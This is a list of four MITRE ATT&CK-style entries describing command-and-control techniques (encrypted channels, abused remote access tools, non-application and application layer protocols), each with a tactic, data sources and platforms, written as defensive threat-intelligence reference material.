Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre